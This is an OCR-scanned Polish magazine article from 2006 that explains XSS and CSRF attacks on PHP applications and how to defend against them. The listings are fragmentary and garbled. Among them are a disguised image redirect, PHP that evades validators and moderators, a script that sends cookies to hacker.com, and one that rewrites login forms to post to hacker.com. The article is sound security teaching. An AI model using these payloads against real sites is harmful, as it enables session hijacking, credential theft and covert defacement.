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Bezpieczenstwo

Niebezpieczenstwa atakow
XSS i CSRF
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. http://www.secunia.com —

komunikaty bezpieczenstwa
dla popularnych aplikacji
http://phpsec.org/ — PHP
Security Consortium
http://hakin9.org — hakin9,

magazyn o hakingu i bezpie-

czenstwie komputerowym
http://pear.php.net/package/
HTML_BBCodeParser

— parser BBCode
http://pixel-apes.com/
safehtml — pakiet SafeHTML
firmy Pixel-apes
http://shiflett.org/ — strona
domowa Chrisa Shifletta

by raz na zawsze rozprawi¢ sie
A z obiegowymi opiniami o nieszko-

dliwosci atakéw XSS (ang. Cross-
Site Scripting) i CSRF (ang. Cross-Site
Request Forgery), w tym artykule wciele
sie w role napastnika i postaram sie
pokazaé, ze odpowiednio podstawiajac
rzekomo nieszkodliwe fragmenty kodu
HTML mozna osiggna¢ niezwykte wrecz
efekty, od podszycia sie pod konkretnego
uzytkownika po catkowicie niezauwazalng
podmiane catej tresci witryny.

Na poczatku powiemy kilka stéw o istocie
atakow XSS i CSRF. Cel obu typéw ata-
kow jest taki sam: wykorzystujac okreslo-
ng podatnos$¢, napastnik ma mozliwosé
wstawienia na strone dowolnego kodu,
ktéry nastepnie moze postuzy¢ do wyko-
nywania operacji niezamierzonych przez
twérce witryny — na przyktad przechwyty-
wania plikéw cookies nic nie podejrzewa-
jacego uzytkownika.
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Roéznica miedzy XSS i CSRF polega
na metodzie dostarczenia kodu uzywane-
go do ataku. XSS wykorzystuje mozliwos$¢
wstawienia dowolnego kodu do niespraw-
dzonego pola tekstowego, na przyktad
zgtoszonego z formularza metodg POST,
natomiast podczas ataku typu CSRF, do
pobrania i wykonania uzywanego przez
intruza kodu wykorzystywany jest nie brak
walidaciji, tylko okreslone funkcje przegla-
darek internetowych.

Strzez si¢ nieznanych

plikéw graficznych

Najprostszy i zarazem najczesciej spotyka-
ny rodzaj ataku CSRF opiera sie na wyko-

Powiniene$ zna¢ podstawy PHP, HTML
i JavaScriptu.

Dowiesz sie na czym polegajg ataki XSS
i CSRF oraz jak sie przed nimi bronic.
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rzystaniu HTML-owego znacznika <img>,
stuzacego do wyswietlania obrazow.
Zamiast znacznika zawierajgcego URL
pliku graficznego, napastnik podstawia
tag wskazujacy na kod JavaScriptu, ktéry
zostanie uruchomiony w przegladarce
ofiary. Pozwala to wykonywaé najrézniej-
sze operacje w ramach sesji uzytkownika,
ktory czesto nie jest nawet $wiadom tego,
ze wiasnie trwa atak.

Innym waznym aspektem tych atakow
jest sposéb prezentowania ofierze zmo-
dyfikowanej strony. W wiekszosci przy-
padkéw napasc polega na dodawaniu lub
modyfikacji tresci strony poprzez zmiane
adresu URL dla zgdania GET i nakfonie-
nie uzytkownika do klikniecia na link do te-
go adresu. Ten ostatni etap ataku wymaga
nieco socjotechniki i stad wtasnie bierze
sie mylne przeswiadczenie o nieszkodli-
wosci atakéw XSS — w koncu ich powo-
dzenie wymaga wspétpracy uzytkownika
(nawet jesli jest ona nieswiadoma).

Tak sie jednak skitada, ze jest to tylko
jeden z mozliwych sposobdw dostarczenia
danych atakujacych. Informacje niezbedne
do przeprowadzenia ataku XSS mogg tez
by¢ trwale sktadowane — jesli napastnikowi
uda sie zapisa¢ ziosliwe dane w atakowa-
nej witrynie, to mogg one by¢ wykonywane
dla dowolnej liczby uzytkownikéw odwie-
dzajgcych serwis bez zadnych dziatan z ich
strony. Oznacza to, ze zadne wybiegi so-
cjotechniczne nie sg potrzebne, gdyz na
atak narazony jest kazdy uzytkownik od-
wiedzajgcy zmodyfikowang witryne.

Wykonanie kodu niezbednego dla
ataku CSRF (ktory moze by¢ osadzony
w ramach XSS) jest jeszcze fatwiejsze:
wystarczy wysta¢ ofierze e-maila zawie-
rajgcego odpowiedni kod HTML. W chwili
otwierania wiadomos$ci przez program
pocztowy wykonywany jest zawarty
w niej kod HTML, co pozwala na prze-
prowadzanie wszelkiego rodzaju atakow
XSS i CSRF, zwtaszcza, ze tresé listow
zawierajgcych HTML jest automatycznie
wykonywana przez wiekszo$¢ programow
pocztowych pozwalajgcych na korzystanie
z HTML-a.

Znamy juz zasady przeprowadzania ata-
kéw, ale nadal nie wiemy, dlaczego fak-
tycznie moga one stanowi¢ problem. Na
poczatek zajmiemy sie przeprowadzeniem
ataku CSRF, gdyz jest on najtatwiejszy do
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wykonania i wiele aplikacji jest na niego
podatnych. Dla potrzeb artykutu przepro-
wadzimy atak za posrednictwem aplikaciji
takiej, jak forum lub blog, pozwalajacej
uzytkownikom osadzaé w swoich wypo-
wiedziach (postach) obrazy za pomoca
znacznika <img> lub odpowiadajacego
mu znacznika BBcode [img]. Atak polega
na podaniu w ramach znacznika adresu
URL wskazujacego nie na plik graficzny,
lecz na inng strone tego samego serwi-
su, ktérej wywotanie z zgdaniem GET
powoduje wykonanie okreslonej operacii,
na przyktad http://foobar.com/admin/
delete msg=1. Gdy uzytkownik zataduje te
strone, przegladarka sprébuje pobrac plik
obrazu, tym samym wykonujac polecenie
powodujace (w tym przypadku) usuniecie
wiadomosci o identyfikatorze 1. Taki atak
nie bedzie skuteczny dla wszystkich uzyt-
kownikéw, ale to akurat nie szkodzi, gdyz
wystarczy, ze powiedzie sie raz. Podatni
na ten konkretny atak bedg wszyscy uzyt-
kownicy, ktérzy sg zalogowani w serwisie
foobar.com i na ktérych komputerze zapi-
sany jest plik cookie poswiadczajacy ich
autoryzacje w ramach tego serwisu. Plik
jest wysytany do serwera przy kazdym
zadaniu strony i zawiera informacje nie-
zbedne do autoryzowania operacji podsta-
wionej przez intruza.

O tym, jak przegladarki
pomagaja napastnikom

Starsze wersje Internet Explorera i innych
przegladarek potrafity wrecz wykonywac
i wySwietla¢ cate strony WWW ukryte
w znacznikach grafiki — jesli adres URL
wskazywat na plik HTML, przegladarka
wyswietlata i wykonywata wskazang stro-
ne, wigcznie z pobraniem wszystkich jej
elementéw. Jest to o tyle niebezpieczne,
ze taka strona moze zawiera¢ kod Ja-
vaScript modyfikujgcy zawarto$¢ strony
wywotania, do ktérego uzyskuje dostep
poprzez wtasciwos¢ window. opener.

Ta droga ataku byta stosowana we
wczesnych atakach CSRF, wykorzystywa-
nych przez oszustéw usitujgcych naktoni¢
uzytkownikéw do odwiedzenia ich witryn
poprzez sztuczne windowanie pozycji swo-
ich stron w agregatorach obliczajacych po-
pularno$¢ witryny na podstawie liczby po-
chodzacych z niej odwolan. Najczestszg
metodg ataku byto osadzanie na stronach
spreparowanych obrazkéw z odsytacza-
mi do agregatoréw, przez co przegladar-
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ka kazdego uzytkownika otwierajacego za-
atakowang strone wysytata zadanie pobra-
nia witryny napastnika, a to z kolei powo-
dowato sztuczne zwiekszanie liczby od-
wotan do strony i szybko windowato witry-
ne oszusta na wysokg pozycje. Metoda ta
bywa wcigz uzywana, ale jej skutecznos¢
opiera sie na zamieszczeniu przypisane-
go konkretnej witrynie odnosnika do serwi-
su agregujacego. Gdyby na przyktad witry-
na foobar.com otrzymata adres zliczajacy
http.//tracker.com/?sid=1234, nieuczciwy
operator mogtby wstawiac ten odsytacz na
rézne strony (a nie tylko na swojg wtasna),
przez co kazde otwarcie strony zawieraja-
cej takiego linka bytoby liczone jako wizyta
na stronie foobar.com, w efekcie sygnali-
zujac witrynie tracker.com duzy ruch na fo-
obar.com. Na szczescie tadowany jest za-
wsze ten sam adres URL, wiec do ujaw-
nienia oszustwa najczesciej wystarczy pro-
ste sprawdzanie nagtéwka HTTP Referer.

Innego rodzaju atak ma przede
wszystkim na celu zepsucie uktadu stro-
ny poprzez zamieszczenie odsytacza do
niewielkiego pliku graficznego zawieraja-
cego bardzo duzy obraz, ktéra na pew-
no zapetni caty ekran, spychajgc z niego
wszelkg inng zawartos¢. Ogromny GIF
o wymiarach 2000 na 2000 pikseli moze
zajmowac zaledwie 3786 bajtow, ale za-
petni caty ekran, niezaleznie od rozdziel-
czosci i rozmiaréw monitora. Oczywiscie
nie jest to dziatanie szkodliwe, a jedynie
irytujace.

Zapewne myslisz sobie teraz: nie nie,
moja aplikacja nie jest taka gtupia — nie do-
puszcza byle jakich odsytaczy do obrazéw,
tylko uzywa funkcji PHP getimagesize ()
do sprawdzenia, czy kazdy tadowany ob-
raz jest faktycznie plikiem graficznym o do-
puszczalnych wymiarach i wielkoSci.

Nie wszystko ztoto co si¢ Swieci
Niestety, takie zabezpieczenie mozna z ta-
twoscig oming¢. Aby przej$¢ podstawowe
sprawdzanie rozszerzenia pliku, napastnik
dostarcza URL faktycznie wygladajacy jak
adres pliku graficznego, na przykiad http.//
hacker.com/me.jpg, co pozwoli uspi¢
czujnos¢ mechanizméw testujgcych po-
prawno$¢ rozszerzenia. Teraz korzystajac
Zz modutu mod_rewrite wystarczy podmie-
ni¢ odwotanie do me.jpg na adres skryptu
PHP przeprowadzajgcego atak, by uzy-
ska¢ mozliwos$¢ wykonania w zasadzie
dowolnego kodu:
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RewriteEngine on

RewriteRule "/me.jpg$ hacker.php

Po takiej podmianie, wszystkie odwotania
do me.jpg beda w rzeczywistosci kiero-
wane do skryptu hacker.php, w ktérym
z kolei mozna wykorzystaé kilka sztuczek
do zmylenia skryptow sprawdzajacych.
Jesli na przyktad znamy adres IP serwe-
ra, ktory testuje prawidtowos¢ zawartosci
pliku graficznego, mozemy pod ten adres
odsytaé poprawny obraz, a reszte uzyt-
kownikéw kierowa¢ pod inny, wybrany
przez nas (Listing 1).

Inne, bardziej uniwersalne podejscie
polega na sprawdzaniu obecnosci nagtow-
ka HTTP REFERER, doOstarczanego przez
wiekszos¢ przegladarek w celu wskazania
strony, z ktérej nadeszio zadanie (Listing
2). Jezeli PHP zgtasza Zzadanie spraw-
dzenia wykorzystujgce getimagesize ()
lub gdy administrator recznie sprawdza
odsytacz do pliku, pole to jest puste. Dzie-
ki temu decyzje o ataku mozna tez oprze¢
na obecnosci tego nagtéwka: jesli on
wystepuje, to prébujemy przeprowadzi¢
atak, a w przeciwnym razie wyswietlamy
niewinny plik graficzny.

W niektorych przypadkach spreparo-
wana tre$¢ bedzie musiata przejs¢ proces
walidacji, co moze na przykiad dotyczy¢
zatwierdzenia kolejnego wpisu w blogu
lub nowego awatara na forum. Jesli bez-
posrednio skorzystamy z wymienionych
sztuczek, przemeczony administrator czy
moderator bedzie miat mozliwo$¢ zauwa-
zenia i udaremnienia ataku. Aby unikna¢
wykrycia, mozemy opd6zni¢ wykonanie
skryptu o 1-2 dni albo po prostu zaczeka¢
z przekierowaniem, az spreparowana tres¢
zostanie zatwierdzona. Mozna tez wpro-
wadzi¢ do ataku nieco losowosci, by nie
kazdy uzytkownik byt atakowany, oraz by
unika¢ dwukrotnego atakowania tego sa-
mego uzytkownika, co pozwoli ograniczy¢
szanse wykrycia (Listing 3).

Pojawiajg sie tu trzy mechanizmy
majgce na celu utrudnienie wykry-
cia ataku. Po pierwsze, skrypt nie
bedzie broit przez dwa dni od instalaciji
(zaktadajac, ze kazdy atak jest zapisany
w osobnym skrypcie), co w wigkszosci
przypadkéw pozwoli oming¢ proces
walidacji, jesli takowy w ogole istnigje.
Nastepnie zapisywany jest plik cookie
w celu $ledzenia uzytkownika i upewnienia
sie, ze nikt nie zostanie zaatakowany wie-
cej niz raz, dzieki czemu wykrycie ataku
bedzie jeszcze trudniejsze. Ostatnim za-

bezpieczeniem jest losowanie prawdopo-
dobienstwa ataku — przekierowane zosta-
nie mniej wiecej co trzecie zadanie.
Wiemy juz, na czym polega atak,
wiec jak mozna mu przeciwdziatac? Tak
naprawde sg tylko dwie opcje. Pierwszg
z nich jest uniemozliwienie dostarczania
obrazkéw przez uzytkownikéw. Cho¢
wydaje sie to rozwigzaniem najbezpiecz-
niejszym i najtatwiejszym, to jednak dla
wielu tworcow aplikacji bytby to zabieg
nadmiernie ograniczajacy mozliwosci ich
produktéw. Drugg mozliwoscig jest pobra-
nie kazdego sprawdzanego pliku na lokal-

ny komputer, sprawdzenie go za pomocg
funkcji getimagesize(), a jesli dane sg
bezpieczne — zapisanie pliku na serwerze
i modyfikacja odsytacza do obrazu tak, by
wskazywat na plik lokalny zamiast zasobu
na zdalnym serwerze (Listing 4).

W tym przypadku zaczynamy od po-
brania obrazu i zapisania go w lokalnym
pliku w katalogu grafiki, pod nazwg sta-
nowigcg skrét MD5 pierwotnego adresu.
Tak pobrany plik mozna juz sprawdzi¢ za
pomocy funkcji getimagesize (). Wstepne
zapisanie obrazu w pliku lokalnym jest ko-
nieczne, by uniemozliwi¢ potencjalnemu

innych zgdan

if $7SERVER 'REMOTE_ADDR'
header ("Content-Type: image/jpeg");
readfile ("./me.jpg");
else

HTTP_REFERER

if (empty $7SERVER '"HTTP_REFERER'
header ("Content-Type: image/jpeg");
readfile ("./me.jpg");
else

$deployment time = filemtime( FILE );
+ 86400 * 2

header ("Content-Type: image/jpeg");

if (Sdeployment time time
readfile ("./me.jpg") ;

setcookie ("h", "1", "hacker.com", time

$img = "http://hacker.com/me.jpg";

if (181 && $1[0 Smax width && $1i[1
unlink ($img store dir.md5 ($img));

rename ($img_store dir.md5 ($img),

stream_set_timeout()

$fp = fopen($img url, "r");
stream set timeout ($fp, 1);

fclose ($fp) ;

Wysytanie niewinnego pliku graficznego serwerowi wykonujgcemu
sprawdzenie zawarto$ci obrazu przy jednoczesnym przekierowaniu wszystkich

= '1.2.3.4"

header ("Location: http://foobar.com/admin/delete msg.php?=1");

Kod podejmujgcy decyzje o ataku na podstawie obecno$ci pola

header ("Location: http://foobar.com/admin/delete msg.php?=1");

Unikanie wykrycia poprzez losowy wybor ofiar

|| isset($ COOKIE['h'

+ 86400 * 365, "/");

header ("Location: http://foobar.com/admin/delete msg.php?=1");

. Pobranie obrazu na lokalng maszyne, sprawdzenie go, zapisanie i mo-
dyfikacja pierwotnego odsytacza w celu udaremnienia ewentualnego ataku

file_put_contents ($img store dir.md5($img), file get contents($img));
$i = getimagesize ($img store dir.md5($img
$max_height

$img store dir.md5($img) .image type to extension($i[2]));

Ustawiania czasu oczekiwania dla strumienia za pomoca funkcji

file put contents ($destination path, stream get contents ($fp));

|| !(rand() % 3

7

www.phpsolmag.org

PHP Solutions Nr 2/2006



napastnikowi modyfikacje tresci pomiedzy
zgdaniami. Gdyby obraz byt sprawdzany
na podstawie adresu do pliku zdalnego,
a dopiero potem pobierany, napastnikowi
wystarczytoby proste Zzliczanie zadan
z konkretnego adresu IP, by dla drugiego
zgdania podmieni¢ zwracang tres¢ i tym
samym umozliwi¢ atak.

Pobranie pliku na maszyne lokalng
uniemozliwia ewentualng dalszg modyfi-
kacje tresci po stronie zdalnego serwera.
Wynikiem dziatania funkcji getimagesize ()
jest tablica zawierajaca réznego rodzaju
informacje o obrazie. Jesli w wyniku wy-
wotania tej funkcji nie otrzymamy tablicy,
to wiemy, ze nie mamy do czynienia
z poprawnym plikiem graficznym. Pierw-
szy etapem sprawdzenia poprawnosci
jest wiec upewnienie sig, ze faktycznie
mamy do czynienia z obrazem, a drugim
— sprawdzenie rozmiaréw obrazu, by po
wstawieniu na strone nie zepsut jej uktfadu.
W przypadku niepowodzenia jednego ze
sprawdzen, podejrzany plik jest usuwany
z dysku, by nie dopusci¢ do wyczerpania
miejsca. Ostatnim etapem walidacji jest
zmiana nazwy pliku i nadanie mu rozsze-
rzenia zgodnego z jego typem, by przegla-
darki mogty poprawnie wyswietla¢ obraz.

Niezwykle istotnym jest, by NIE uzy-
wac rozszerzenia pobranego z adresu do-
starczonego przez uzytkownika, lecz usta-
li¢ je samodzielnie na podstawie zawarto-
Sci pliku — jest to konieczne w celu unik-
niecia niedawno odkrytego bfedu w Inter-
net Explorerze. Usterka ujawnia sie w sy-
tuacji, gdy rozszerzenie pliku graficznego
jest niezgodne z typem wynikajagcym z na-
gtéwka pliku, na przyktad gdy plik me.jpg
jest w rzeczywistosci obrazem GIF. W ta-
kiej sytuacji IE robi co$ bardzo dziwnego:
przetwarza plik w taki sposéb, ze wykonu-

bhyeh

inzZynieria
systemow
mformacv nvch

je dowolny kod HTML osadzony w obra-
zie, co otwiera droge do ataku XSS i CSRF
w przypadku bezposredniego dostepu do
takiego pliku:

<GIF89%a 8 f >

<html>

<head>

<script>alert ("XSS");</script>
</head>

<body></body>

</html>

(Btad odkryt Marc Ruef, http://www.securi-
team.com/windowsntfocus/6F100BO0OEBY.
html). Tak spreparowany plik obrazu po-
zwolitby na udany atak niezaleznie od wa-
lidacji za pomocg funkcji getimagesize(),
gdyz sprawdza ona jedynie nagtéwek pliku,
ktéry w tym przypadku jest jak najbardziej
dopuszczalny. Przypisujac plikowi rozsze-
rzenie na podstawie typu deklarowanego
w nagtéwku eliminujemy te rozbieznose,
tym samym udaremniajgc atak.

Gdyby byta to jedyna trudnos$¢ zwia-
zana z proponowanym rozwigzaniem, to
zapewne bytoby ono szerzej stosowane.
Jest jednak kilka innych probleméw. Po
pierwsze, lokalne zapisywanie wszyst-
kich plikéw graficznych moze wymagac¢
bardzo duzo przestrzeni dyskowej, co
w przypadku operatoréw witryn o ogra-
niczonych zasobach jest bardzo istotnym
czynnikiem. Co wigcej, udostepnianie
wszystkich plikéw graficznych z serwe-
ra moze znacznie zwiekszyé zuzycie
pasma, a tym samym podnie$¢ koszty
utrzymania serwera. Cze$ciowym roz-
wigzaniem obu trudnosci jest wprowa-
dzenie ograniczenia wielkosci plikdw,
ale jest to raczej sposéb na ominigcie
problemu niz jego rozwigzanie.

obiektowe
bazy
danych

modele dan\ch
ijezyki
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Najpowazniejszym chyba problemem
z pobieraniem pliku z poziomu PHP jest
podatno$¢ na atak Denial of Service
(DoS) skierowany przeciwko serwero-
wi. Pobranie pliku przez PHP wymaga
nawigzania potaczenia z serwerem, na
ktérym on sie znajduje. Jesli serwer ten
jest powolny, potaczenie sie z nim moze
nieco potrwa¢. Podczas nawigzywania
potaczenia, proces PHP obstugujacy
zgdanie czeka bezczynnie na otwarcie
gniazda. Nie spowoduje to jednak zadne-
go ostrzezenia, gdyz czekanie nie zuzywa
czasu procesora. Czas oczekiwania jest
domysinie ustawiony az na 60 sekund,
Cco oznacza, ze dany proces PHP moze
by¢ niezdatny do uzytku nawet przez mi-
nute. Wystarczy wiec naktoni¢ wszystkie
aktywne procesy serwera WWW do po-
bierania plikdbw zewnetrznych, by serwer
stat sie niedostepny dla uzytkownikow.
Wiekszo$¢ serweréw dopuszcza nie
wiecej niz 200 réwnoczesnych potaczen,
wiec dokonanie ataku DoS ta metodag
jest zadaniem trywialnym. Na szczescie
mozna temu =zaradzi¢ skracajac czas
oczekiwania na pofaczenie do znacznie
bezpieczniejszych 2-5 sekund, co wy-
maga jedynie zmiany wartosci parametru
default socket timeout W pliku php.ini.
Modyfikacje te mozna tez wykona¢ z po-
ziomu skryptu — wtedy nowy czas bedzie
dotyczy¢ wszystkich potaczen nawigzy-
wanych przez PHP za posrednictwem
API strumieni:

// ograniczenie czasu oczekiwania
// na potaczenie

ini set("default socket timeout", 5);

Wykonanie tego polecenia nie rozwigzu-
je problemu powolnego pobierania pliku.

Wydawnictwa
Naukowo-
Techniczne
zapraszaja do:

KSIEGARNI INTERNETOWEJ
www.wnt.pl

KSIEGARNI WYSYLKOWEJ

tel. (22) 82672 71, 827 56 87

fax 826 82 93
e-mail: handlowy@wnt.pl

KSIEGARNI WYDAWNICTW
NAUKOWO-TECHNICZNYCH

tel. 826 89 37

ul. Mazowiecka 2/4, 00-048 \Warszawa

ul. Mazowiecka 2/4, 00-048 Warszawa,



Bezpieczenstwo

Dodatkowym utrudnieniem jest fakt, ze
strumienie PHP sg domysinie blokuja-
ce, czyli raz otwarty strumien bedzie do
skutku czekat na nadestanie danych ze
zdalnego serwera, gdyz nie ma tu zad-
nego domyslnego czasu oczekiwania.
Sytuacja nie jest jednak beznadziejna
dﬂQkifunkqistreamisetitimeout(h po-
zwalajgcej ustawi¢ czas oczekiwania dla
strumienia (Listing 5). Funkcja ta operuje
jednak bezposrednio na strumieniu, wiec
musimy zmodyfikowa¢ kod pobierajacy
plik tak, by nie korzystat z opakowujacej
obstuge strumienia funkcji file get
contents ().

Nowy kod pobierajacy plik nakazuje
PHP czeka¢ na nadestanie danych z gniaz-
da nie dluzej niz przez sekunde. Wy-
korzystanie trzeciego argumentu funkcji
stream_set_timeout () pozwala okresli¢ je-
szcze krotszy czas, mierzony w mikro-
sekundach — na przyktad wywotanie
stream_set_ timeout ($fp,0,250000) ;
spowodowatoby ustawienie czasu oczeki-
wania na ¢wier¢ sekundy. Jednak nawet
w przypadku starannego dobrania czaséw
oczekiwania nadal istnieje droga ataku:
napastnik musi jedynie wysytaé dane
bardzo powoli, na przyktad w tempie 5
bajtow na sekunde, tylko na tyle czesto, by
unikna¢ przekroczenia czasu oczekiwania.
W przypadku obrazu wielkosci 20 kilobaj-
téw pozwolitoby to zaja¢ serwer na 68 se-
kund, a wieksze pliki mogtyby oczywiscie
zajmowac duzo dtuze;.

Niestety, tego typu atakowi w praktyce
nie da sie zapobiec, gdyz wprowadzenie
obrony przed nim wymaga od programi-
stow znacznie wiecej czasu i wysitku, niz
sg na ogot w stanie zainwestowaé. Roz-
wigzanie polegatoby na pobieraniu obrazu
we fragmentach jednobajtowych i ciagglym
monitorowaniu szybkosci transmisji, co po-
zwolitoby odrzuca¢ potgczenia wolniejsze
od pewnego ustalonego minimum. Wyma-
gatoby to zuzycia nieporéwnanie wiekszej
mocy obliczeniowej serwera do pobrania
tych samych danych.

Podsumowujgc ataki wykorzystujgce
pliki graficzne — jedynym stuprocentowym
rozwigzaniem jest uniemozliwienie uzyt-
kownikom dostarczania witasnej grafiki.
Wszystkie inne zabezpieczeniautrudniajg
przeprowadzanie tego typu atakéw, ale
z pewnoscig im nie zapobiegaja.

Niebezpieczne atrybuty CSS
Znacznik <img> jest wprawdzie najczest-
szym sprawcg atakéw CSRF, ale mogg

one tez by¢ przeprowadzane innymi
metodami, ktére pod pewnymi wzgleda-
mi sg znacznie bardziej nieprzyjemne,
a w dodatku trudniejsze do wykrycia.
Jedng z drég ataku jest wykorzystanie
atrybutu CSS background, pozwalajacego
okresli¢ plik graficzny uzywany jako tto
dla elementu strony. Jak umiesci¢ taki
atrybut w kodzie? Sposob jest znacznie
prostszy, niz mogtoby sie wydawaé,
a w dodatku dos¢ czesto spotykany. Pro-
blem tkwi w tym, ze wiele aplikacji PHP
pozwala uzytkownikom okresla¢ sposéb
wys$wietlania wprowadzanych danych,
dopuszczajgc stosowanie w tekscie pro-
stych znacznikéw formatujacych HTML,
na przyktad pogrubienia <p>, kursywy
<i> i tym podobnych. Implementacja ta-
kiego rozwigzania czesto bywa ktopotli-
wa. W wielu przypadkach dopuszczenie
znacznikéw formatujacych odbywa sie
z wykorzystaniem nieobowigzkowego
argumentu funkcji strip tags(), pozwa-
lajacego wylaczaé z procesu usuwania ta-
gow okreslone, z zatozenia nieszkodliwe
znaczniki. Dzigki temu programista, ktory
chce pozwoli¢ uzytkownikom na stosowa-
nie znacznikdéw formatujgcych, moze na-
kaza¢ funkcji, by tych akurat znacznikéw

nie usuwata, wiec na przyktad dopuszcze-
nie znacznikdw pogrubienia i kursywy wy-
magatoby wywofania strip tags(Stest,
"<p><i>"). Mechanizm prosty i bezpiecz-
ny — tylko czy aby na pewno?

Niestety, nie jest to podejscie bezpiecz-
ne. Funkcja strip tags() przepuszcza
kazdy dopuszczony znacznik w catosci,
wraz ze wszelkimi atrybutami zapisany-
mi w jego obrebie. Napastnik nie moze
wprawdzie wstawia¢ wiasnych tagéw, ale
za to moze umieszczaé dowolne atrybuty
w znacznikach dopuszczanych przez apli-
kacje. Specyfikacja W3C nie przewiduje dla
znacznikéw w rodzaju <b> czy <i> obstugi
atrybutu stylu okreslajacego tto elementu,
ale nie ma to wiekszego znaczenia, gdyz
wiekszo$¢ przegladarek i tak obstuguje
takie atrybuty. Mozemy wiec wykorzystac
sztuczki pokazane przy okazji ataku po-
przez znacznik <img> — wystarczy wybrac
sobie dozwolony znacznik i wpisa¢ w nim
atrybut stylu o tresci na przyktad takiej:
"background:
me.jpg')". Listing 6 przedstawia kod wyko-
rzystujacy ten zabieg.

Ataki tego typu sg o tyle nieprzyjemne,
ze brakujacy obrazek bedzie w przegladar-
ce wyswietlany jako tekst czy ikona, przez

url ('http://hacker.com/

// wypisuje tekst wraz z for

echo strip tags(Stext, "<b><i>"

// kod PHP
input type="text" name="s"
// wynikowy kod HTML po modyfik

input type="text" name="s" value=""

script

var r = new XMLHttpRequest();

r.send (null);

/script

Atak XSS na formularze

script

for (i=0; i<document.forms.length; i++)

/script

Przyktad niebezpiecznych stylow CSS

Stext = '<b style="background: url (\'http://hacker.com/me/.jpg\"') ">TEST</b>";

Atak XSS na typowe pole wyszukiwarki

value="<?php echo $ POST['q'];

TEKST XSS <"" /

Przyktadowy cigg atakujgcy XSS

r.open('get', 'http://hacker.com/?'+document.cookie);

document.forms[i].action="http://hacker.com/x.php?'+ document.forms[i].action;

2/
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Bezpieczenstwo

co tatwiej zauwazy¢, ze co$ jest nie w po-
rzadku, ale brakujgcego tta nie wida¢, co
znacznie utrudnia wykrycie ataku.

Mam nadzieje, ze ten przykifad poka-
zat wystarczajgco dobitnie, dlaczego nie
nalezy realizowa¢ obstugi znacznikow
formatujgcych z wykorzystaniem funkciji
strip tags(). Bezpieczniejszym roz-
wigzaniem byloby zaimplementowanie
podzbioru tagéw BBcode, ktére nie obstu-
guja atrybutéw. BBcode dostarcza zestaw
znacznikéw formatujacych bardzo podob-
nych do tagéw HTML-owych, ale prze-
znaczonych wylgcznie do ograniczonego
formatowania. Znaczniki wprowadzane
przez uzytkownikow sg konwertowane
na kod HTML, dzieki czemu mozna dac¢
uzytkownikom mozliwo$¢ formatowania
tekstu bez otwierania drogi atakowi XSS
czy CSRF. Oczywiscie nie trzeba w tym
celu pisa¢ wiasnego parsera, gdyz istniejg
odpowiednie narzedzia tego typu. Dosko-
nale nadaje sie do tego celu klasa PEAR
O nazwie HTML BBCodeParser, dostepna
pod adresem http./pear.php.net/package/
HTML_BBCodeParser. Inng mozliwoscig
jest dopuszczenie znacznikéw HTML i wy-
korzystanie funkcji z pakietu SafeHTML
(http://pixel-apes.com/safehtml), usuwa-
jacych z przekazanego tekstu wszelkie
niebezpieczne elementy i atrybuty HTML.

Do przeprowadzenia ataku CSRF
mozna wykorzysta¢ nie tylko sztuczki
z podstawionymi obrazkami w znacznikach
<img> i atrybutach tta, ale w takze dowolny
inny znacznik, ktérego przetwarzanie wigze
sie z automatycznym pobieraniem wska-
zanego zasobu. Tagi w rodzaju <iframe>
czy <script> sg ha ogot bezpieczne, gdyz
sg one z natury statyczne i niedostepne
dla uzytkownika. Jesli jednak moZzliwe jest
uzyskanie do nich dostepu za posrednic-
twem niesprawdzonej zmiennej, mogq
one stanowi¢ nie mniejsze zagrozenie od
mechanizmdw opisanych wczesniej.

Ataki CSRF polegajg na wykorzystaniu
istniejgcych lub legalnie wprowadzanych
elementéw strony do ztosliwych celdw,
natomiast celem ataku XSS jest omi-
niecie procesu walidacji i tym samym
umozliwienie napastnikowi wstawienia
na strone dowolnych tresci. Podstawio-
ne w ten sposéb dane mogg stuzyé do
wyludzenia od uzytkownika poufnych
informacji, wykonania okreslonych ope-
racji z uprawnieniami zalogowanego
uzytkownika i tym podobnych dziatan.

Wytom poczyniony przez udany atak
XSS moze réwniez postuzy¢ do przepro-
wadzenia w nastepnej kolejnosci ataku
CSRF, wiec $miato mozna powiedziec¢,
ze XSS jest atakiem o nieograniczonych
niemal mozliwosciach i stanowi powazne
zagrozenie. Co gorsza, podatnos$¢ na
ataki XSS jest niezwykle powszechnym
problemem. Kilka tygodni temu okazato
sie, ze nawet nowe serwisy takich gi-
gantéw, jak Google i Yahoo! sg podatne
na takie ataki, a zgtoszenia pojawiajace
sie codziennie na listach dyskusyjnych
poswieconych bezpieczenstwu dowodza
istnienia podobnych probleméw w bar-
dzo wielu aplikacjach.

W  wiekszosci przypadkow biedy
umozliwiajgce atak XSS nie sg specjalnie
gteboko ukryte — nierzadko podatna na
ten atak bywa nawet wyszukiwarka na
gtéwnej stronie popularnego serwisu. Gdy
uzytkownik wprowadza tekst do wyszuka-
nia, zapytanie jest wyswietlane na stronie
wynikéw, najczesciej w postaci gotowej
wartosci pola <input>, by utatwi¢ zmiane
kryteriow wyszukiwania. Przeprowadzenie
ataku XSS jest mozliwe przy braku wali-
dacji takiego pola. Wykorzystanie podat-
nosci bywa banalnie proste — wystarczy
w wyszukiwarce podaé cigg "> TEKST
xss <", gdzie TEksT xss zawiera dowolne
dane, ktére majg by¢ wstawione na stro-
ne. Poczatkowe znaki "> majg na celu
zakonczenie znacznika <input>, ktérego
atrybut wartosci zawiera tre$¢ zapytania,
natomiast koncowe znaki <" domykajg
pozostatg cze$¢ znacznika (Listing 7).

Jesli taki atak sie powiedzie, napast-
nik moze niemal dowolnie modyfikowa¢
zawartos¢ strony. Mogtby na przykiad
pozyskac¢ plik cookie nalezacy do innego
uzytkownika — wystarczyloby zastgpi¢ ciag
TEKST XSS kodem z Listingu 8.

Wstawiane dane to w tym przy-
padku krociutki skrypt w JavaScripcie,
zgtaszajacy zadanie HTTP do witryny
wybranej przez hakera i przesytajacy do
niej nazwy i zawarto$¢ wszystkich plikéw
cookie aktualnie ustawionych dla pe-
chowego uzytkownika. Napastnik moze
zapisa¢ kopie tych plikbw na wtasnym
komputerze i tym samym uzyskac takie
prawa dostepu, jak zalogowany w ser-
wisie uzytkownik. Wykorzystana w tym
przyktadzie funkcja xMLHttpRequest ()
jest obstugiwana tylko przez Mozilla
Firefox, ale |E udostepnia réwnowaznag
funkch ActiveXObject ("Microsoft.XMLH
TTP") O identycznym dziataniu.

www.phpsolmag.org

Inna sztuczka nadaje sie dobrze do
atakowania stron pobierajacych od uzyt-
kownika informacje za pomoca formularzy,
na przykiad stron logowania czy tez formu-
